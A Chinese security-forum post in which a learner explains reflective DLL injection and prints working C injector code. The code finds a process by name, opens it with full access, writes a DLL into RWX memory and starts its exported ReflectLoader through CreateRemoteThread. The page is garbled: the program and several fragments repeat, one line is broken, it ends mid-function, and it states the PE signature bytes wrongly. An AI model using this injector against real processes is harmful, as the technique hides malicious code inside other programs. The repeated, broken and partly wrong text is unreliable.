[原创]学习PE文件后的第一次实践项目之DLL反射型注入-茶余饭后-看雪-安全社区|安全招聘|kanxue.com
2025-1-20 09:59:0 Author: bbs.kanxue.com(查看原文) 阅读量:0 收藏

先看普通型的注入,如下:

普通的dll注入是在目标进程中开辟一处空间,在空间中写入dll文件的名称,再用LoadLibraryA函数通过查找名称来加载dll,而想在程序里调用LoadLibraryA的话就得用到CreateRemoteThread函数,这个函数传递的参数之一就有函数指针,等到CreateRemoteThread创建新线程之后,就会在新线程中调用这个过度函数,其二的参数就是传给指针的参数

这里插一句,在我多次用x64dbg调试得到的感悟,CreateRemoteThread这个函数,相当于开辟了一个不知道在哪的空间,在这个地方引用你要传入的函数

反射型dll注入则是将整个DLL文件传到目标进程的空间中,然后通过CreateRemoteThread调用一段shellcode,将DLL展开,并运行

首先查找目标进程的Id,函数的实现不多说了

然后就是注入的程序,思路是先开辟空间,写入DLL文件,然后找到shellcode,最后用CreatERemoteThread函数进入目标进程中

接下来是写入DLL,这里我选择,先在本地读取磁盘文件,然后通过WriteProcessMemory实现远程写入

这里是对本地文件的读取,并且这里的pBuf指向的是本地文件读取以后的基地址

这里做到的便是写入dll但是注意,写入的也是磁盘文件,因为后续要实现对dll文件的展开,映射成内存文件

那就需要两个空间,一个空间是注入原封不动的磁盘文件,另一个是展开需要的空间,但是CreateRemoteThread只可以传入一个参数,那么就不考虑两个空间两个指针了,(其实也可以传入存放给内存空间开辟的地址指针,然后再shellcode里面向回遍历,直到检测到“5D 4A”PE文件头,就获取了磁盘文件的空间指针),一个指针的话,开辟空间的时候就开辟两个ImageSize的空间,然后pDll+ImageSize就是第二个指针了

注意这里获取的是文件偏移地址,因为此时的dll还没有展开(当然你也可以选择,所有的东西现在本地展开一次,然后写入展开后的程序,这样子就可以正常使用函数RVA,后续只需要修复重定位和导入函数了),所以找的不是RVA,而是文件偏移

这个函数的实现,是通过查找dll文件中的导出函数,遍历所有导出函数找到目标函数的RVA,然后需要对RVA转换为文件偏移地址,不过要注意,在文件没有展开之前导出表,以及导出表里的信息都是RVA,需要转换为文件偏移地址,那么写一个RVA-文件偏移就非常方便了

这个的实现是,先查找处于哪个节区,然后通过节区表的首地址经过RVA-虚拟首地址+节区初始地址的真实地址

然后就用CreateRemoteThread创造新线程,然后就可以插入shellcode了

我将一个文件的展开过程分为两部分,一部分是映射文件头和节区段,另一部分是修复重定位表和导入表

这部分相对简单,而且这个部分在里面和外面都可以实现,赋值文件头,然后根据节区头里面的文件偏移和虚拟地址偏移来映射就好

注意这里结束以后,节区表就修复完成了,所以可以使用自己封装的函数了

根据数据目录表定位重定位表,再根据重定位表结构来进行修复

导入表的修复是比较困难的,再导入表修复前是不可以使用API的,但是在修复导入表这个过程中,不可避免的要用到LoadLibraryA与GetProcAddress,所以就需要一个新东西先找到这两个函数

这里我没有过多的去了解,仅仅知道TEB是线程环境块,其中存储着PEB的指针,PEB是一个进程环境块,其中有一个叫PEB.Ldr的结构体,里面存储着已经加载的DLL文件指针

也就是说可以通过查找PEB.Ldr来找到kernel32.dll模块的句柄,然后找到其中的API,PEB.Ldr的结构如下

理论可行,实践开始

直到这一步是在定位到载入的模块的句柄,后续需要的是遍历载入的模块

从模块基地址中提取模块句柄,然后分析PE文件导出表获取函数名,对比获得函数在当前进程中的地址

通过LoadLibrarA和GetProcAddress函数修复导入表

结束

没啥区别,先扩展到节区表,再用函数,再创建线程,这样做的好处就是不需要再算文件偏移,并且开辟空间的时候更小

#include <stdio.h>

#include <windows.h>

#include <tlhelp32.h>

DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);

LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf);

DWORD ProcesstoPid(wchar_t* Processname);

BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname);

int main() {

    wchar_t szProcName[MAX_PATH] = L"pta.exe";

    char Dllname[MAX_PATH] = "D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll";

    DWORD dwPid = ProcesstoPid(szProcName);

    DWORD result = MainInject(dwPid, Dllname);

}

DWORD ProcesstoPid(wchar_t* Processname)

{

    HANDLE hProcessSnap = NULL;

    DWORD ProcessId = 0;

    PROCESSENTRY32 pe32 = { 0 };

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hProcessSnap == (HANDLE)-1)

    {

        printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError());

        return 0;

    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hProcessSnap, &pe32))

    {

        do

        {

            if (!wcscmp(Processname, pe32.szExeFile))

            {

                ProcessId = pe32.th32ProcessID;

                break;

            }

        } while (Process32Next(hProcessSnap, &pe32));

    }

    else

    {

        printf("\n[-] Process32First() Error: %d", GetLastError());

        return 0;

    }

    if (!ProcessId) printf("no find");

    else printf("[+] target id is %d", ProcessId);

    CloseHandle(hProcessSnap);

    return ProcessId;

}

DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {

    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {

        if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {

            return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);

        }

    }

    return 0xFFFFFFFF;

}

LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) {

    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;

    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS));

    DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;

    DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;

    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec);

    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);

    DWORD pRNames = pExportDir->AddressOfNames;

    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);

    DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames);

    DWORD pRFunctions = pExportDir->AddressOfFunctions;

    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);

    DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions);

    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;

    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);

    WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions);

    DWORD funcRVA = 0;

    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {

        DWORD functionNameRVA = pNames[i];

        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);

        const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset);

        if (strcmp(pName, funcName) == 0) {

            funcRVA = pFunctions[i];

            break;

        }

    }

    if (funcRVA == 0) {

        printf("\n[-] Function %s not found.", funcName);

        return NULL;

    }

    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;

    DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset);

    if (fileOffset == 0) {

        printf("\n[-] Failed to convert RVA to file offset.");

        return NULL;

    }

    LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset;

    return remoteFuncAddr;

}

BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname)

{

    HANDLE hProc = NULL;

    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);

    if (!hProc)

    {

        printf("\n[-] OpenProcess Failed.");

        DWORD dwError = GetLastError();

        printf("\n[-] OpenProcess failed. Error code: %d\n", dwError);

        return FALSE;

    }

    HANDLE hFile = CreateFileA(Dllname,

        GENERIC_READ,                          

        FILE_SHARE_READ | FILE_SHARE_WRITE,    

        NULL,                                  

        OPEN_EXISTING,                         

        FILE_ATTRIBUTE_NORMAL,                 

        NULL                                   

    );

    if (hFile == INVALID_HANDLE_VALUE) {

        printf("\n[-] CreateFileA failed.");

        return FALSE;

    }

    DWORD FileSize = GetFileSize(hFile, NULL);

    LPDWORD SizeToRead = 0;

    unsigned char* pBuf = new unsigned char[FileSize];

    ZeroMemory(pBuf, FileSize);

    int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL); 

    if (result == 0)

    {

        printf("\n[-] 文件读取失败");

        return FALSE;

    }

    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;

    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);

    PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));

    DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;

    ULONG_PTR TotalSize = ImageSize + ImageSize;

    printf("\n[+] FileSize : %p", FileSize);

    printf("\n[+] ImageSize: %p", ImageSize);

    printf("\n[+] TotalSize: %p", TotalSize);

    LPVOID pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (pDll == NULL) {

        printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError());

        return FALSE;

    }

    SIZE_T sizeToZero = TotalSize;

    BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1);

    if (zeroBuffer == NULL) {

        printf("Failed to allocate zero buffer.\n");

        return -1;

    }

    if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {

        DWORD errorCode = GetLastError();

        printf("WriteProcessMemory failed with error code: %lu\n", errorCode);

    }

    free(zeroBuffer);

    if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {

        return FALSE;

    }

    const char* reflectFuncName = "ReflectLoader";

    LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);

    if (!pReflectLoader) {

        printf("[-] Failed to find ReflectLoader.\n");

        VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);

        return FALSE;

    }

    LPVOID pAlloc = (LPVOID)((ULONG_PTR)pDll + ImageSize);

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pAlloc + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));

    PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pDll + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));

    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);

    printf("\n[+] Dll磁盘起始地址:%p", pDll);

    printf("\n[+] Dll磁盘终止地址:%p", (ULONG_PTR)pDll + FileSize);

    printf("\n[+] Dll内存起始地址:%p", pAlloc);

    printf("\n[+] Dll整体结束地址:%p", (ULONG_PTR)pAlloc + ImageSize);

    printf("\n[+] 磁盘中Nt表头地址:%p", (ULONG_PTR)pDll + pDos->e_lfanew);

    printf("\n[+] 内存中Nt表头地址:%p", (ULONG_PTR)pAlloc + pDos->e_lfanew);

    printf("\n[+] 磁盘中Sec表头地址:%p", pSect);

    printf("\n[+] 内存中Sec表头地址:%p", pSec);

    printf("\n[+] 重定位表基址:%p", pBaseReloc);

    printf("\n[+] 重定位表RVA:%p", (ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress);

    DWORD Relco = RVAtoFileOffset((DWORD)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection);

    printf("\n[+] 重定位表文件偏移:%p", (ULONG_PTR)pDll + Relco);

    printf("\n[+] 函数 address:%p", pReflectLoader);

    HANDLE hThread = CreateRemoteThread(

        hProc,                      

        NULL,                       

        0,                          

        (LPTHREAD_START_ROUTINE)pReflectLoader,

        pDll,                       

        0,                          

        NULL                        

    );

    if (!hThread) {

        printf("\n[-] CreateRemoteThread failed: %d", GetLastError());

        VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);

        return FALSE;

    }

    printf("\n[+] ReflectLoader executed successfully.");

    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);

    return TRUE;

}

#include <stdio.h>

#include <windows.h>

#include <tlhelp32.h>

DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);

LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf);

DWORD ProcesstoPid(wchar_t* Processname);

BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname);

int main() {

    wchar_t szProcName[MAX_PATH] = L"pta.exe";

    char Dllname[MAX_PATH] = "D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll";

    DWORD dwPid = ProcesstoPid(szProcName);

    DWORD result = MainInject(dwPid, Dllname);

}

DWORD ProcesstoPid(wchar_t* Processname)

{

    HANDLE hProcessSnap = NULL;

    DWORD ProcessId = 0;

    PROCESSENTRY32 pe32 = { 0 };

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hProcessSnap == (HANDLE)-1)

    {

        printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError());

        return 0;

    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hProcessSnap, &pe32))

    {

        do

        {

            if (!wcscmp(Processname, pe32.szExeFile))

            {

                ProcessId = pe32.th32ProcessID;

                break;

            }

        } while (Process32Next(hProcessSnap, &pe32));

    }

    else

    {

        printf("\n[-] Process32First() Error: %d", GetLastError());

        return 0;

    }

    if (!ProcessId) printf("no find");

    else printf("[+] target id is %d", ProcessId);

    CloseHandle(hProcessSnap);

    return ProcessId;

}

DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {

    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {

        if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {

            return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);

        }

    }

    return 0xFFFFFFFF;

}

LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) {

    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;

    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS));

    DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;

    DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;

    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec);

    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);

    DWORD pRNames = pExportDir->AddressOfNames;

    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);

    DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames);

    DWORD pRFunctions = pExportDir->AddressOfFunctions;

    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);

    DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions);

    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;

    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);

    WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions);

    DWORD funcRVA = 0;

    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {

        DWORD functionNameRVA = pNames[i];

        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);

        const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset);

        if (strcmp(pName, funcName) == 0) {

            funcRVA = pFunctions[i];

            break;

        }

    }

    if (funcRVA == 0) {

        printf("\n[-] Function %s not found.", funcName);

        return NULL;

    }

    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;

    DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset);

    if (fileOffset == 0) {

        printf("\n[-] Failed to convert RVA to file offset.");

        return NULL;

    }

    LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset;

    return remoteFuncAddr;

}

BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname)

{

    HANDLE hProc = NULL;

    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);

    if (!hProc)

    {

        printf("\n[-] OpenProcess Failed.");

        DWORD dwError = GetLastError();

        printf("\n[-] OpenProcess failed. Error code: %d\n", dwError);

        return FALSE;

    }

    HANDLE hFile = CreateFileA(Dllname,

        GENERIC_READ,                          

        FILE_SHARE_READ | FILE_SHARE_WRITE,    

        NULL,                                  

        OPEN_EXISTING,                         

        FILE_ATTRIBUTE_NORMAL,                 

        NULL                                   

    );

    if (hFile == INVALID_HANDLE_VALUE) {

        printf("\n[-] CreateFileA failed.");

        return FALSE;

    }

    DWORD FileSize = GetFileSize(hFile, NULL);

    LPDWORD SizeToRead = 0;

    unsigned char* pBuf = new unsigned char[FileSize];

    ZeroMemory(pBuf, FileSize);

    int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL); 

    if (result == 0)

    {

        printf("\n[-] 文件读取失败");

        return FALSE;

    }

    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;

    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);

    PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));

    DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;

    ULONG_PTR TotalSize = ImageSize + ImageSize;

    printf("\n[+] FileSize : %p", FileSize);

    printf("\n[+] ImageSize: %p", ImageSize);

    printf("\n[+] TotalSize: %p", TotalSize);

    LPVOID pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (pDll == NULL) {

        printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError());

        return FALSE;

    }

    SIZE_T sizeToZero = TotalSize;

    BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1);

    if (zeroBuffer == NULL) {

        printf("Failed to allocate zero buffer.\n");

        return -1;

    }

    if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {

        DWORD errorCode = GetLastError();

        printf("WriteProcessMemory failed with error code: %lu\n", errorCode);

    }

    free(zeroBuffer);

    if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {

        return FALSE;

    }

    const char* reflectFuncName = "ReflectLoader";

    LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);

    if (!pReflectLoader) {

        printf("[-] Failed to find ReflectLoader.\n");

        VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);

        return FALSE;

    }

    LPVOID pAlloc = (LPVOID)((ULONG_PTR)pDll + ImageSize);

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pAlloc + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));

    PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pDll + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));

    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);

    printf("\n[+] Dll磁盘起始地址:%p", pDll);

    printf("\n[+] Dll磁盘终止地址:%p", (ULONG_PTR)pDll + FileSize);

    printf("\n[+] Dll内存起始地址:%p", pAlloc);

    printf("\n[+] Dll整体结束地址:%p", (ULONG_PTR)pAlloc + ImageSize);

    printf("\n[+] 磁盘中Nt表头地址:%p", (ULONG_PTR)pDll + pDos->e_lfanew);

    printf("\n[+] 内存中Nt表头地址:%p", (ULONG_PTR)pAlloc + pDos->e_lfanew);

    printf("\n[+] 磁盘中Sec表头地址:%p", pSect);

    printf("\n[+] 内存中Sec表头地址:%p", pSec);

    printf("\n[+] 重定位表基址:%p", pBaseReloc);

    printf("\n[+] 重定位表RVA:%p", (ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress);

    DWORD Relco = RVAtoFileOffset((DWORD)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection);

    printf("\n[+] 重定位表文件偏移:%p", (ULONG_PTR)pDll + Relco);

    printf("\n[+] 函数 address:%p", pReflectLoader);

    HANDLE hThread = CreateRemoteThread(

        hProc,                      

        NULL,                       

        0,                          

        (LPTHREAD_START_ROUTINE)pReflectLoader,

        pDll,                       

        0,                          

        NULL                        

    );

    if (!hThread) {

        printf("\n[-] CreateRemoteThread failed: %d", GetLastError());

        VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);

        return FALSE;

    }

    printf("\n[+] ReflectLoader executed successfully.");

    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);

    return TRUE;

}

DWORD ProcesstoPid(wchar_t* Processname)

{

    HANDLE hProcessSnap = NULL;

    DWORD ProcessId = 0;

    PROCESSENTRY32 pe32 = { 0 };

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hProcessSnap == (HANDLE)-1)

    {

        printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError());

        return 0;

    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hProcessSnap, &pe32))

    {

        do

        {

            if (!wcscmp(Processname, pe32.szExeFile))

            {

                ProcessId = pe32.th32ProcessID;

                break;

            }

        } while (Process32Next(hProcessSnap, &pe32));

    }

    else

    {

        printf("\n[-] Process32First() Error: %d", GetLastError());

        return 0;

    }

    if (!ProcessId) printf("\nno find");

    else printf("[+] target id is %d", ProcessId);

    CloseHandle(hProcessSnap);

    return ProcessId;

}

DWORD ProcesstoPid(wchar_t* Processname)

{

    HANDLE hProcessSnap = NULL;

    DWORD ProcessId = 0;

    PROCESSENTRY32 pe32 = { 0 };

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hProcessSnap == (HANDLE)-1)

    {

        printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError());

        return 0;

    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hProcessSnap, &pe32))

    {

        do

        {

            if (!wcscmp(Processname, pe32.szExeFile))

            {

                ProcessId = pe32.th32ProcessID;

                break;

            }

        } while (Process32Next(hProcessSnap, &pe32));

    }

    else

    {

        printf("\n[-] Process32First() Error: %d", GetLastError());

        return 0;

    }

    if (!ProcessId) printf("\nno find");

    else printf("[+] target id is %d", ProcessId);

    CloseHandle(hProcessSnap);

    return ProcessId;

}

HANDLE hProc = NULL;

hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);

if (!hProc)

{

    printf("\n[-] OpenProcess Failed.");

    DWORD dwError = GetLastError();

    printf("\n[-] OpenProcess failed. Error code: %d\n", dwError);

    return FALSE;

}

HANDLE hProc = NULL;

hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);

if (!hProc)

{

    printf("\n[-] OpenProcess Failed.");

    DWORD dwError = GetLastError();

    printf("\n[-] OpenProcess failed. Error code: %d\n", dwError);

    return FALSE;

}

HANDLE hFile = CreateFileA(Dllname,

    GENERIC_READ,                          

    FILE_SHARE_READ | FILE_SHARE_WRITE,    

    NULL,                                  

    OPEN_EXISTING,                         

    FILE_ATTRIBUTE_NORMAL,                 

    NULL                                   

);

if (hFile == INVALID_HANDLE_VALUE) {

    printf("\n[-] CreateFileA failed.");

    return FALSE;

}

DWORD FileSize = GetFileSize(hFile, NULL);

LPDWORD SizeToRead = 0;

unsigned char* pBuf = new unsigned char[FileSize];

ZeroMemory(pBuf, FileSize);

int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL); 

if (result == 0)

{

    printf("\n[-] 文件读取失败");

    return FALSE;

}

HANDLE hFile = CreateFileA(Dllname,

    GENERIC_READ,                          

    FILE_SHARE_READ | FILE_SHARE_WRITE,    

    NULL,                                  

    OPEN_EXISTING,                         

    FILE_ATTRIBUTE_NORMAL,                 

    NULL                                   

);

if (hFile == INVALID_HANDLE_VALUE) {

    printf("\n[-] CreateFileA failed.");

    return FALSE;

}

DWORD FileSize = GetFileSize(hFile, NULL);

LPDWORD SizeToRead = 0;

unsigned char* pBuf = new unsigned char[FileSize];

ZeroMemory(pBuf, FileSize);

int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL); 

if (result == 0)

{

    printf("\n[-] 文件读取失败");

    return FALSE;

}

PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;

PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);

PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));

DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;

ULONG_PTR TotalSize = ImageSize + ImageSize;

printf("\n[+] FileSize : %p", FileSize);

printf("\n[+] ImageSize: %p", ImageSize);

printf("\n[+] TotalSize: %p", TotalSize);

LPVOID  = VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (pDll == NULL) {

    printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError());

    return FALSE;

}

SIZE_T sizeToZero = TotalSize;

BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1);

if (zeroBuffer == NULL) {

    printf("Failed to allocate zero buffer.\n");

    return -1;

}

if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {

    DWORD errorCode = GetLastError();

    printf("WriteProcessMemory failed with error code: %lu\n", errorCode);

}

free(zeroBuffer);

if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {

    return FALSE;

}

PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;

PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);

PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));

DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;

ULONG_PTR TotalSize = ImageSize + ImageSize;

printf("\n[+] FileSize : %p", FileSize);

printf("\n[+] ImageSize: %p", ImageSize);

printf("\n[+] TotalSize: %p", TotalSize);

LPVOID  = VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (pDll == NULL) {

    printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError());

    return FALSE;

}

SIZE_T sizeToZero = TotalSize;

BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1);

if (zeroBuffer == NULL) {

    printf("Failed to allocate zero buffer.\n");

    return -1;

}

if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {

    DWORD errorCode = GetLastError();

    printf("WriteProcessMemory failed with error code: %lu\n", errorCode);

}

free(zeroBuffer);

if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {

    return FALSE;

}

const char* reflectFuncName = "ReflectLoader";

LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);

if (!pReflectLoader) {

    printf("[-] Failed to find ReflectLoader.\n");

    VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);

    return FALSE;

}

const char* reflectFuncName = "ReflectLoader";

LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);

if (!pReflectLoader) {

    printf("[-] Failed to find ReflectLoader.\n");

    VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);

    return FALSE;

}

LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) {

    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;

    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS));

    DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;

    DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;

    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec);

